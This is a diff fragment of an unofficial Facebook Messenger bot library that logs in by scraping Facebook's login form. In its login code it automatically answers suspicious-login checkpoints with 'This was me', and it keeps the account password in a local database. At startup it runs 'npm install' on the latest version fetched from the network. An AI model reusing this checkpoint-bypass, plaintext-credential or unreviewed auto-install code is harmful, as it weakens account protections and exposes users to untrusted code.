+ fs.readdirSync(__dirname + "/src").filter((/** @type {string} */File) => File.endsWith(".js") && !File.includes('Dev_')).map((/** @type {string} */File) => api[File.split('.').slice(0, -1).join('.')] = require('./src/' + File)(defaultFuncs, api, ctx));
458
+
459
+ return {
460
+ ctx,
461
+ defaultFuncs,
462
+ api
463
+ };
464
+ }
465
+
466
+ /!-[ Function makeLogin ]-!/
467
+
468
+ /**
469
+ * @param {{ setCookie: (arg0: any, arg1: string) => void; }} jar
470
+ * @param {any} email
471
+ * @param {any} password
472
+ * @param {{ forceLogin: any; }} loginOptions
473
+ * @param {(err: any, api: any) => any} callback
474
+ * @param {any} prCallback
475
+ */
476
+
477
+ function makeLogin(jar, email, password, loginOptions, callback, prCallback) {
478
+ return function(/** @type {{ body: any; }} */res) {
479
+ var html = res.body,$ = cheerio.load(html),arr = [];
480
+
481
+ $("#login_form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
482
+
483
+ arr = arr.filter(function(v) {
484
+ return v.val && v.val.length;
485
+ });
486
+
487
+ var form = utils.arrToForm(arr);
488
+ form.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
489
+ form.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
490
+ form.email = email;
491
+ form.pass = password;
492
+ form.default_persistent = '0';
493
+ form.locale = 'en_US';
494
+ form.timezone = '240';
495
+ form.lgnjs = ~~(Date.now() / 1000);
496
+
497
+ html.split("\"_js_").slice(1).map((/** @type {any} */val) => {
498
+ jar.setCookie(utils.formatCookie(JSON.parse("[\"" + utils.getFrom(val, "", "]") + "]"), "facebook"),"https://www.facebook.com")
499
+ });
500
+
501
+ logger.Normal(Language.OnLogin);
502
+ return utils
503
+ .post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, form, loginOptions)
504
+ .then(utils.saveCookies(jar))
505
+ .then(function(/** @type {{ headers: any; }} */res) {
506
+ var headers = res.headers;
507
+ if (!headers.location) throw { error: Language.InvaildAccount };
508
+
509
+ // This means the account has login approvals turned on.
510
+ if (headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
511
+ logger.Warning(Language.TwoAuth);
512
+ var nextURL = 'https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php';
513
+
514
+ return utils
515
+ .get(headers.location, jar, null, loginOptions)
516
+ .then(utils.saveCookies(jar))
517
+ .then(async function(/** @type {{ body: any; }} */res) {
518
+ if (!await Database.get('ThroughAcc')) {
519
+ await Database.set('ThroughAcc', email);
520
+ }
521
+ else {
522
+ if (String((await Database.get('ThroughAcc'))).replace(RegExp('"','g'), '') != String(email).replace(RegExp('"','g'), '')) {
523
+ await Database.set('ThroughAcc', email);
524
+ if (await Database.get('Through2Fa')) {
525
+ await Database.delete('Through2Fa');
526
+ }
527
+ }
528
+ }
529
+ var html = res.body,$ = cheerio.load(html), arr = [];
530
+ $("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
531
+ arr = arr.filter(v => { return v.val && v.val.length });
532
+ var form = utils.arrToForm(arr);
533
+ if (html.indexOf("checkpoint/?next") > -1) {
534
+ setTimeout(() => {
535
+ checkVerified = setInterval((_form) => {}, 5000, {
536
+ fb_dtsg: form.fb_dtsg,
537
+ jazoest: form.jazoest,
538
+ dpr: 1
539
+ });
540
+ }, 2500);
541
+ switch (globalThis.Fca.Require.FastConfig.Login2Fa) {
542
+ case true: {
543
+ try {
544
+ const question = question => {
545
+ const rl = readline.createInterface({
546
+ input: process.stdin,
547
+ output: process.stdout
548
+ });
549
+ return new Promise(resolve => {
550
+ rl.question(question, answer => {
551
+ rl.close();
552
+ return resolve(answer);
553
+ });
554
+ });
555
+ };
556
+ async function EnterSecurityCode() {
557
+ try {
558
+ var Through2Fa = await Database.get('Through2Fa');
559
+ if (Through2Fa) {
560
+ Through2Fa.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
561
+ let str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
562
+ jar.setCookie(str, "http://" + c.domain);
563
+ })
564
+ var from2 = utils.arrToForm(arr);
565
+ from2.lsd = utils.getFrom(html, "[\"LSD\",[],{\"token\":\"", "\"}");
566
+ from2.lgndim = Buffer.from("{\"w\":1440,\"h\":900,\"aw\":1440,\"ah\":834,\"c\":24}").toString('base64');
567
+ from2.email = email;
568
+ from2.pass = password;
569
+ from2.default_persistent = '0';
570
+ from2.locale = 'en_US';
571
+ from2.timezone = '240';
572
+ from2.lgnjs = ~~(Date.now() / 1000);
573
+ return utils
574
+ .post("https://www.facebook.com/login/device-based/regular/login/?login_attempt=1&lwv=110", jar, from2, loginOptions)
575
+ .then(utils.saveCookies(jar))
576
+ .then(function(/** @type {{ headers: any; }} */res) {
577
+ var headers = res.headers;
578
+ if (!headers['set-cookie'][0].includes('deleted')) {
579
+ logger.Warning(Language.ErrThroughCookies, async function() {
580
+ await Database.delete('Through2Fa');
581
+ });
582
+ process.exit(1);
583
+ }
584
+ if (headers.location && headers.location.indexOf('https://www.facebook.com/checkpoint/') > -1) {
585
+ return utils
586
+ .get(headers.location, jar, null, loginOptions)
587
+ .then(utils.saveCookies(jar))
588
+ .then(function(/** @type {{ body: any; }} */res) {
589
+ var html = res.body,$ = cheerio.load(html), arr = [];
590
+ $("form input").map((i, v) => arr.push({ val: $(v).val(), name: $(v).attr("name") }));
591
+ arr = arr.filter(v => { return v.val && v.val.length });
592
+ var from2 = utils.arrToForm(arr);
593
+
594
+ if (html.indexOf("checkpoint/?next") > -1) {
595
+ setTimeout(() => {
596
+ checkVerified = setInterval((_form) => {}, 5000, {
597
+ fb_dtsg: from2.fb_dtsg,
598
+ jazoest: from2.jazoest,
599
+ dpr: 1
600
+ });
601
+ }, 2500);
602
+ if (!res.headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
603
+ try {
604
+ delete from2.name_action_selected;
605
+ from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
606
+ return utils
607
+ .post(nextURL, jar, from2, loginOptions)
608
+ .then(utils.saveCookies(jar))
609
+ .then(function() {
610
+ from2['submit[This was me]'] = "This was me";
611
+ return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
612
+ })
613
+ .then(function() {
614
+ delete from2['submit[This was me]'];
615
+ from2.name_action_selected = 'save_device';
616
+ from2['submit[Continue]'] = $("#checkpointSubmitButton").html();
617
+ return utils.post(nextURL, jar, from2, loginOptions).then(utils.saveCookies(jar));
618
+ })
619
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
620
+ var headers = res.headers;
621
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
622
+ var appState = utils.getAppState(jar,false);
623
+ await Database.set('Through2Fa', appState);
624
+ return loginHelper(appState, email, password, loginOptions, callback);
625
+ })
626
+ .catch((/** @type {any} */e) => callback(e));
627
+ }
628
+ catch (e) {
629
+ console.log(e)
630
+ }
631
+ }
632
+ }
633
+ })
634
+ }
635
+ return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
636
+ }).catch((/** @type {any} */e) => console.log(e));
637
+ }
638
+ }
639
+ catch (e) {
640
+ await Database.delete('Through2Fa');
641
+ }
642
+ var code = await question(Language.EnterSecurityCode);
643
+ try {
644
+ form.approvals_code = code;
645
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
646
+ var prResolve,prReject;
647
+ var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
648
+ if (typeof code == "string") { //always strings
649
+ utils
650
+ .post(nextURL, jar, form, loginOptions)
651
+ .then(utils.saveCookies(jar))
652
+ .then(function(/** @type {{ body: string | Buffer; }} */res) {
653
+ var $ = cheerio.load(res.body);
654
+ var error = $("#approvals_code").parent().attr("data-xui-error");
655
+ if (error) {
656
+ logger.Warning(Language.InvaildTwoAuthCode,function() { EnterSecurityCode(); }); //bruh loop
657
+ };
658
+ })
659
+ .then(function() {
660
+ delete form.no_fido;delete form.approvals_code;
661
+ form.name_action_selected = 'save_device'; //'save_device' || 'dont_save;
662
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
663
+ })
664
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
665
+ var headers = res.headers;
666
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) {
667
+ try {
668
+ delete form.name_action_selected;
669
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
670
+ return utils
671
+ .post(nextURL, jar, form, loginOptions)
672
+ .then(utils.saveCookies(jar))
673
+ .then(function() {
674
+ form['submit[This was me]'] = "This was me";
675
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
676
+ })
677
+ .then(function() {
678
+ delete form['submit[This was me]'];
679
+ form.name_action_selected = 'save_device';
680
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html();
681
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
682
+ })
683
+ .then(async function(/** @type {{ headers: any; body: string | string[]; }} */res) {
684
+ var headers = res.headers;
685
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: "wtf ??:D" };
686
+ var appState = utils.getAppState(jar,false);
687
+ await Database.set('Through2Fa', appState);
688
+ return loginHelper(appState, email, password, loginOptions, callback);
689
+ })
690
+ .catch((/** @type {any} */e) => callback(e));
691
+ }
692
+ catch (e) {
693
+ console.log(e)
694
+ }
695
+ }
696
+ var appState = utils.getAppState(jar,false);
697
+ if (callback === prCallback) {
698
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
699
+ if (err) return prReject(err);
700
+ return prResolve(api);
701
+ };
702
+ }
703
+ await Database.set('Through2Fa', appState);
704
+ return loginHelper(appState, email, password, loginOptions, callback);
705
+ })
706
+ .catch(function(/** @type {any} */err) {
707
+ if (callback === prCallback) prReject(err);
708
+ else callback(err);
709
+ });
710
+ } else {
711
+ utils
712
+ .post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
713
+ .then(utils.saveCookies(jar))
714
+ .then(async function(/** @type {{ body: string; }} */res) {
715
+ try {
716
+ JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
717
+ } catch (ex) {
718
+ clearInterval(checkVerified);
719
+ logger.Warning(Language.VerifiedCheck);
720
+ if (callback === prCallback) {
721
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
722
+ if (err) return prReject(err);
723
+ return prResolve(api);
724
+ };
725
+ }
726
+ let appState = utils.getAppState(jar,false);
727
+ return loginHelper(appState, email, password, loginOptions, callback);
728
+ }
729
+ })
730
+ .catch((/** @type {any} */ex) => {
731
+ log.error("login", ex);
732
+ if (callback === prCallback) prReject(ex);
733
+ else callback(ex);
734
+ });
735
+ }
736
+ return rtPromise;
737
+ }
738
+ catch (e) {
739
+ logger.Error(e)
740
+ logger.Error()
741
+ process.exit(0)
742
+ }
743
+ }
744
+ await EnterSecurityCode()
745
+ }
746
+ catch (e) {
747
+ logger.Error(e)
748
+ logger.Error();
749
+ process.exit(0);
750
+ }
751
+ }
752
+ break;
753
+ case false: {
754
+ throw {
755
+ error: 'login-approval',
756
+ continue: function submit2FA(/** @type {any} */code) {
757
+ form.approvals_code = code;
758
+ form['submit[Continue]'] = $("#checkpointSubmitButton").html(); //'Continue';
759
+ var prResolve,prReject;
760
+ var rtPromise = new Promise((resolve, reject) => { prResolve = resolve; prReject = reject; });
761
+ if (typeof code == "string") {
762
+ utils
763
+ .post(nextURL, jar, form, loginOptions)
764
+ .then(utils.saveCookies(jar))
765
+ .then(function(/** @type {{ body: string | Buffer; }} */res) {
766
+ var $ = cheerio.load(res.body);
767
+ var error = $("#approvals_code").parent().attr("data-xui-error");
768
+ if (error) {
769
+ throw {
770
+ error: 'login-approval',
771
+ errordesc: Language.InvaildTwoAuthCode,
772
+ lerror: error,
773
+ continue: submit2FA
774
+ };
775
+ }
776
+ })
777
+ .then(function() {
778
+ delete form.no_fido;delete form.approvals_code;
779
+ form.name_action_selected = 'dont_save'; //'save_device' || 'dont_save;
780
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
781
+ })
782
+ .then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
783
+ var headers = res.headers;
784
+ if (!headers.location && res.headers['set-cookie'][0].includes('checkpoint')) throw { error: Language.ApprovalsErr };
785
+ var appState = utils.getAppState(jar,false);
786
+ if (callback === prCallback) {
787
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
788
+ if (err) return prReject(err);
789
+ return prResolve(api);
790
+ };
791
+ }
792
+ return loginHelper(appState, email, password, loginOptions, callback);
793
+ })
794
+ .catch(function(/** @type {any} */err) {
795
+ if (callback === prCallback) prReject(err);
796
+ else callback(err);
797
+ });
798
+ } else {
799
+ utils
800
+ .post("https://www.facebook.com/checkpoint/?next=https%3A%2F%2Fwww.facebook.com%2Fhome.php", jar, form, loginOptions, null, { "Referer": "https://www.facebook.com/checkpoint/?next" })
801
+ .then(utils.saveCookies(jar))
802
+ .then((/** @type {{ body: string; }} */res) => {
803
+ try {
804
+ JSON.parse(res.body.replace(/for\s*\(\s*;\s*;\s*\)\s*;\s*/, ""));
805
+ } catch (ex) {
806
+ clearInterval(checkVerified);
807
+ logger.Warning(Language.VerifiedCheck);
808
+ if (callback === prCallback) {
809
+ callback = function(/** @type {any} */err, /** @type {any} */api) {
810
+ if (err) return prReject(err);
811
+ return prResolve(api);
812
+ };
813
+ }
814
+ return loginHelper(utils.getAppState(jar,false), email, password, loginOptions, callback);
815
+ }
816
+ })
817
+ .catch((/** @type {any} */ex) => {
818
+ log.error("login", ex);
819
+ if (callback === prCallback) prReject(ex);
820
+ else callback(ex);
821
+ });
822
+ }
823
+ return rtPromise;
824
+ }
825
+ };
826
+ }
827
+ }
828
+ } else {
829
+ if (!loginOptions.forceLogin) throw { error: Language.ForceLoginNotEnable };
830
+
831
+ if (html.indexOf("Suspicious Login Attempt") > -1) form['submit[This was me]'] = "This was me";
832
+ else form['submit[This Is Okay]'] = "This Is Okay";
833
+
834
+ return utils
835
+ .post(nextURL, jar, form, loginOptions)
836
+ .then(utils.saveCookies(jar))
837
+ .then(function() {
838
+ form.name_action_selected = 'dont_save';
839
+
840
+ return utils.post(nextURL, jar, form, loginOptions).then(utils.saveCookies(jar));
841
+ })
842
+ .then(function(/** @type {{ headers: any; body: string | string[]; }} */res) {
843
+ var headers = res.headers;
844
+
845
+ if (!headers.location && res.body.indexOf('Review Recent Login') > -1) throw { error: "Something went wrong with review recent login." };
846
+
847
+ var appState = utils.getAppState(jar,false);
848
+
849
+ return loginHelper(appState, email, password, loginOptions, callback);
850
+ })
851
+ .catch((/** @type {any} */e) => callback(e));
852
+ }
853
+ });
854
+ }
855
+ return utils.get('https://www.facebook.com/', jar, null, loginOptions).then(utils.saveCookies(jar));
856
+ });
857
+ };
858
+ }
859
+
860
+ /!-[ Function backup ]-!/
861
+
862
+ /**
863
+ * @param {string} data
864
+ * @param {any} globalOptions
865
+ * @param {any} callback
866
+ * @param {any} prCallback
867
+ */
868
+
869
+ function backup(data,globalOptions, callback, prCallback) {
870
+ try {
871
+ var appstate;
872
+ try {
873
+ appstate = JSON.parse(data)
874
+ }
875
+ catch(e) {
876
+ appstate = data;
877
+ }
878
+ logger.Warning(Language.BackupNoti);
879
+ try {
880
+ loginHelper(appstate,null,null,globalOptions, callback, prCallback)
881
+ }
882
+ catch (e) {
883
+ logger.Error(Language.ErrBackup);
884
+ process.exit(0);
885
+ }
886
+ }
887
+ catch (e) {
888
+ return logger.Error();
889
+ }
890
+ }
891
+
892
+ /!-[ async function loginHelper ]-!/
893
+
894
+ /**
895
+ * @param {string | any[]} appState
896
+ * @param {any} email
897
+ * @param {any} password
898
+ * @param {{ selfListen?: boolean; listenEvents?: boolean; listenTyping?: boolean; updatePresence?: boolean; forceLogin?: boolean; autoMarkDelivery?: boolean; autoMarkRead?: boolean; autoReconnect?: boolean; logRecordSize?: number; online?: boolean; emitReady?: boolean; userAgent?: string; pageID?: any; }} globalOptions
899
+ * @param {(arg0: any, arg1: undefined) => void} callback
900
+ * @param {(error: any, api: any) => any} [prCallback]
901
+ */
902
+
903
+ async function loginHelper(appState, email, password, globalOptions, callback, prCallback) {
904
+ var mainPromise = null;
905
+ var jar = utils.getJar();
906
+
907
+ if (fs.existsSync('./backupappstate.json')) {
908
+ fs.unlinkSync('./backupappstate.json');
909
+ }
910
+
911
+ try {
912
+ if (appState) {
913
+ logger.Normal(Language.OnProcess);
914
+ switch (await Database.has("FBKEY")) {
915
+ case true: {
916
+ process.env.FBKEY = await Database.get("FBKEY");
917
+ }
918
+ break;
919
+ case false: {
920
+ const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
921
+ process.env['FBKEY'] = SecurityKey;
922
+ await Database.set('FBKEY', SecurityKey);
923
+ }
924
+ break;
925
+ default: {
926
+ const SecurityKey = globalThis.Fca.Require.Security.create().apiKey;
927
+ process.env['FBKEY'] = SecurityKey;
928
+ await Database.set('FBKEY', SecurityKey);
929
+ }
930
+ }
931
+ try {
932
+ switch (globalThis.Fca.Require.FastConfig.EncryptFeature) {
933
+ case true: {
934
+ appState = JSON.parse(JSON.stringify(appState, null, "\t"));
935
+ switch (utils.getType(appState)) {
936
+ case "Array": {
937
+ switch (utils.getType(appState[0])) {
938
+ case "Object": {
939
+ logger.Normal(Language.NotReadyToDecrypt);
940
+ }
941
+ break;
942
+ case "String": {
943
+ appState = Security(appState,process.env['FBKEY'],'Decrypt');
944
+ logger.Normal(Language.DecryptSuccess);
945
+ }
946
+ }
947
+ }
948
+ break;
949
+ case "Object": {
950
+ try {
951
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
952
+ logger.Normal(Language.DecryptSuccess);
953
+ }
954
+ catch (e) {
955
+ if (process.env.Backup != undefined && process.env.Backup) {
956
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
957
+ }
958
+ else {
959
+ try {
960
+ if (await Database.has('Backup')) {
961
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
962
+ }
963
+ else {
964
+ logger.Normal(Language.ErrBackup);
965
+ process.exit(0);
966
+ }
967
+ }
968
+ catch (e) {
969
+ logger.Warning(Language.ErrBackup);
970
+ logger.Error();
971
+ process.exit(0);
972
+ }
973
+ }
974
+ logger.Warning(Language.DecryptFailed);
975
+ return logger.Error();
976
+ }
977
+ }
978
+ break;
979
+ case "String": {
980
+ try {
981
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
982
+ logger.Normal(Language.DecryptSuccess);
983
+ }
984
+ catch (e) {
985
+ if (process.env.Backup != undefined && process.env.Backup) {
986
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
987
+ }
988
+ else {
989
+ try {
990
+ if (await Database.has('Backup')) {
991
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
992
+ }
993
+ else {
994
+ logger.Normal(Language.ErrBackup);
995
+ process.exit(0);
996
+ }
997
+ }
998
+ catch (e) {
999
+ logger.Warning(Language.ErrBackup);
1000
+ logger.Error();
1001
+ process.exit(0);
1002
+ }
1003
+ }
1004
+ logger.Warning(Language.DecryptFailed);
1005
+ return logger.Error();
1006
+ }
1007
+ }
1008
+ break;
1009
+ default: {
1010
+ logger.Warning(Language.InvaildAppState);
1011
+ process.exit(0)
1012
+ }
1013
+ }
1014
+ }
1015
+ break;
1016
+ case false: {
1017
+ switch (utils.getType(appState)) {
1018
+ case "Array": {
1019
+ logger.Normal(Language.EncryptStateOff);
1020
+ }
1021
+ break;
1022
+ case "Object": {
1023
+ logger.Normal(Language.EncryptStateOff);
1024
+ try {
1025
+ appState = StateCrypt.decryptState(appState, process.env['FBKEY']);
1026
+ logger.Normal(Language.DecryptSuccess);
1027
+ }
1028
+ catch (e) {
1029
+ if (process.env.Backup != undefined && process.env.Backup) {
1030
+ await backup(process.env.Backup,globalOptions, callback, prCallback);
1031
+ }
1032
+ else {
1033
+ try {
1034
+ if (await Database.has('Backup')) {
1035
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
1036
+ }
1037
+ else {
1038
+ logger.Warning(Language.ErrBackup);
1039
+ process.exit(0);
1040
+ }
1041
+ }
1042
+ catch (e) {
1043
+ logger.Warning(Language.ErrBackup);
1044
+ logger.Error();
1045
+ process.exit(0);
1046
+ }
1047
+ }
1048
+ logger.Warning(Language.DecryptFailed);
1049
+ return logger.Error();
1050
+ }
1051
+ }
1052
+ break;
1053
+ default: {
1054
+ logger.Warning(Language.InvaildAppState);
1055
+ process.exit(0)
1056
+ }
1057
+ }
1058
+ }
1059
+ break;
1060
+ default: {
1061
+ logger.Warning(getText(Language.IsNotABoolean,globalThis.Fca.Require.FastConfig.EncryptFeature))
1062
+ process.exit(0);
1063
+ }
1064
+ }
1065
+ }
1066
+ catch (e) {
1067
+ console.log(e);
1068
+ }
1069
+
1070
+ try {
1071
+ appState = JSON.parse(appState);
1072
+ }
1073
+ catch (e) {
1074
+ try {
1075
+ appState = appState;
1076
+ }
1077
+ catch (e) {
1078
+ return logger.Error();
1079
+ }
1080
+ }
1081
+ try {
1082
+ globalThis.Fca.Data.AppState = appState;
1083
+ appState.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
1084
+ var str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
1085
+ jar.setCookie(str, "http://" + c.domain);
1086
+ });
1087
+ process.env.Backup = appState;
1088
+ await Database.set('Backup', appState);
1089
+ mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true }).then(utils.saveCookies(jar));
1090
+ } catch (e) {
1091
+ if (process.env.Backup != undefined && process.env.Backup) {
1092
+ return await backup(process.env.Backup,globalOptions, callback, prCallback);
1093
+ }
1094
+ try {
1095
+ if (await Database.has('Backup')) {
1096
+ return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
1097
+ }
1098
+ else {
1099
+ logger.Warning(Language.ErrBackup);
1100
+ process.exit(0);
1101
+ }
1102
+ }
1103
+ catch (e) {
1104
+ logger.Warning(Language.ErrBackup);
1105
+ logger.Error();
1106
+ process.exit(0);
1107
+ }
1108
+ return logger.Warning(Language.ErrBackup); // unreachable 👑
1109
+ }
1110
+ } else {
1111
+ mainPromise = utils
1112
+ .get("https://www.facebook.com/", null, null, globalOptions, { noRef: true })
1113
+ .then(utils.saveCookies(jar))
1114
+ .then(makeLogin(jar, email, password, globalOptions, callback, prCallback))
1115
+ .then(function() {
1116
+ return utils.get('https://www.facebook.com/', jar, null, globalOptions).then(utils.saveCookies(jar));
1117
+ });
1118
+ }
1119
+ } catch (e) {
1120
+ console.log(e);
1121
+ }
1122
+ var ctx,api;
1123
+ mainPromise = mainPromise
1124
+ .then(function(/** @type {{ body: string; }} */res) {
1125
+ var reg = /<meta http-equiv="refresh" content="0;url=([^"]+)[^>]+>/,redirect = reg.exec(res.body);
1126
+ if (redirect && redirect[1]) return utils.get(redirect[1], jar, null, globalOptions).then(utils.saveCookies(jar));
1127
+ return res;
1128
+ })
1129
+ .then(function(/** @type {{ body: any; }} */res) {
1130
+ var html = res.body,Obj = buildAPI(globalOptions, html, jar);
1131
+ ctx = Obj.ctx;
1132
+ api = Obj.api;
1133
+ process.env.api = Obj.api;
1134
+ return res;
1135
+ });
1136
+ if (globalOptions.pageID) {
1137
+ mainPromise = mainPromise
1138
+ .then(function() {
1139
+ return utils.get('https://www.facebook.com/' + ctx.globalOptions.pageID + '/messages/?section=messages&subsection=inbox', ctx.jar, null, globalOptions);
1140
+ })
1141
+ .then(function(/** @type {{ body: any; }} */resData) {
1142
+ var url = utils.getFrom(resData.body, 'window.location.replace("https:\\/\\/www.facebook.com\\', '");').split('\\').join('');
1143
+ url = url.substring(0, url.length - 1);
1144
+ return utils.get('https://www.facebook.com' + url, ctx.jar, null, globalOptions);
1145
+ });
1146
+ }
1147
+ mainPromise
1148
+ .then(function() {
1149
+ var { readFileSync } = require('fs-extra');
1150
+ const { execSync } = require('child_process');
1151
+ Fetch('https://raw.githubusercontent.com/RqzaX040/Fca-Hokai-Remake/main/package.json').then(async (/** @type {{ body: { toString: () => string; }; }} */res) => {
1152
+ const localVersion = JSON.parse(readFileSync('./node_modules/fca-rqzax/package.json')).version;
1153
+ if (Number(localVersion.replace(/\./g,"")) < Number(JSON.parse(res.body.toString()).version.replace(/\./g,"")) ) {
1154
+ log.warn("[ FCA ] •",getText(Language.NewVersionFound,JSON.parse(readFileSync('./node_modules/fca-rqzax/package.json')).version,JSON.parse(res.body.toString()).version));
1155
+ if (globalThis.Fca.Require.FastConfig.AutoUpdate == true) {
1156
+ log.warn("[ FCA ] •",Language.AutoUpdate);
1157
+ try {
1158
+ execSync('npm install fca-rqzax@latest', { stdio: 'inherit' });
1159
+ logger.Success(Language.UpdateSuccess)
1160
+ logger.Normal(Language.RestartAfterUpdate);
1161
+ await new Promise(resolve => setTimeout(resolve,5*1000));
1162
+ console.clear();process.exit(1);
1163
+ }
1164
+ catch (err) {
1165
+ log.warn('Error Update: ' + err);
1166
+ logger.Normal(Language.UpdateFailed);
1167
+ try {
1168
+ require.resolve('fb-nimra');
1169
+ }
1170
+ catch (e) {
1171
+ logger.Normal(Language.InstallSupportTool);
1172
+ execSync('npm install fb-nimra@latest', { stdio: 'inherit' });
1173
+ process.exit(1);
1174
+ }
1175
+ var fcasp = require('fb-nimra');
1176
+ try {
1177
+ fcasp.onError()
1178
+ }
1179
+ catch (e) {
1180
+ logger.Normal(Language.NotiAfterUseToolFail, "[ Fca - Helper ]")
1181
+ logger.Normal("rmdir ./node_modules after type npm i && npm start","[ Fca - Helper ]");
1182
+ process.exit(0);
1183
+ }
1184
+ }
1185
+ }
1186
+ }
1187
+ else {
1188
+ logger.Normal(getText(Language.LocalVersion,localVersion));
1189
+ logger.Normal(getText(Language.CountTime,globalThis.Fca.Data.CountTime()))
1190
+ logger.Normal(Language.WishMessage[Math.floor(Math.random()*Language.WishMessage.length)]);
1191
+ require('./Extra/ExtraUptimeRobot')(),require('./Controllers/Remote');
1192
+ DataLanguageSetting.HTML.HTML==true? globalThis.Fca.Require.Web.listen(globalThis.Fca.Require.Web.get('DFP')) : globalThis.Fca.Require.Web = null;
1193
+ callback(null, api);
1194
+ }
1195
+ });
1196
+ }).catch(function(/** @type {{ error: any; }} */e) {
1197
+ log.error("login", e.error || e);
1198
+ callback(e);
1199
+ });
1200
+ }
1201
+
1202
+ /**
1203
+ * It asks the user for their account and password, and then saves it to the database.
1204
+ */
1205
+
1206
+ function setUserNameAndPassWord() {
1207
+ let rl = readline.createInterface({
1208
+ input: process.stdin,
1209
+ output: process.stdout
1210
+ });
1211
+ let localbrand2 = JSON.parse(readFileSync('./node_modules/fca-rqzax/package.json')).version;
1212
+ console.clear();
1213
+ console.log(figlet.textSync('Horizon', {font: 'ANSI Shadow',horizontalLayout: 'default',verticalLayout: 'default',width: 0,whitespaceBreak: true }));
1214
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Operating System: " + chalk.bold.red(os.type()));
1215
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Machine Version: " + chalk.bold.red(os.version()));
1216
+ console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Fca Version: " + chalk.bold.red(localbrand2) + '\n');
1217
+ try {
1218
+ rl.question(Language.TypeAccount, (Account) => {
1219
+ if (!Account.includes("@") && globalThis.Fca.Require.utils.getType(parseInt(Account)) != "Number") return logger.Normal(Language.TypeAccountError, function () { process.exit(1) }); //Very Human
1220
+ else rl.question(Language.TypePassword,async function (Password) {
1221
+ rl.close();
1222
+ try {
1223
+ await Database.set("Account", Account);
1224
+ await Database.set("Password", Password);
1225
+ }
1226
+ catch (e) {
1227
+ logger.Warning(Language.ErrDataBase);
1228
+ logger.Error();
1229
+ process.exit(0);
1230
+ }
1231
+ if (globalThis.Fca.Require.FastConfig.ResetDataLogin) {
1232
+ globalThis.Fca.Require.FastConfig.ResetDataLogin = false;
1233
+ globalThis.Fca.Require.fs.writeFileSync('./FcaSetting.json', JSON.stringify(globalThis.Fca.Require.FastConfig, null, 4));
1234
+ }
1235
+ logger.Success(Language.SuccessSetData);
1236
+ process.exit(1);
1237
+ });
1238
+ })
1239
+ }
1240
+ catch (e) {
1241
+ logger.Error(e)
1242
+ }
1243
+ }
1244
+
1245
+ /**
1246
+ * @param {{ email: any; password: any; appState: any; }} loginData
1247
+ * @param {{}} options
1248
+ * @param {(error: any, api: any) => any} callback
1249
+ */
1250
+
1251
+ function login(loginData, options, callback) {
1252
+ if (utils.getType(options) === 'Function' || utils.getType(options) === 'AsyncFunction') {
1253
+ callback = options;
1254
+ options = {};
1255
+ }
1256
+
1257
+ var globalOptions = {
1258
+ selfListen: false,
1259
+ listenEvents: true,
1260
+ listenTyping: false,
1261
+ updatePresence: false,
1262
+ forceLogin: false,
1263
+ autoMarkDelivery: false,
1264
+ autoMarkRead: false,
1265
+ autoReconnect: true,
1266
+ logRecordSize: 100,
1267
+ online: false,
1268
+ emitReady: false,
1269
+ userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
1270
+ };
1271
+
1272
+ if (loginData.email && loginData.password) {
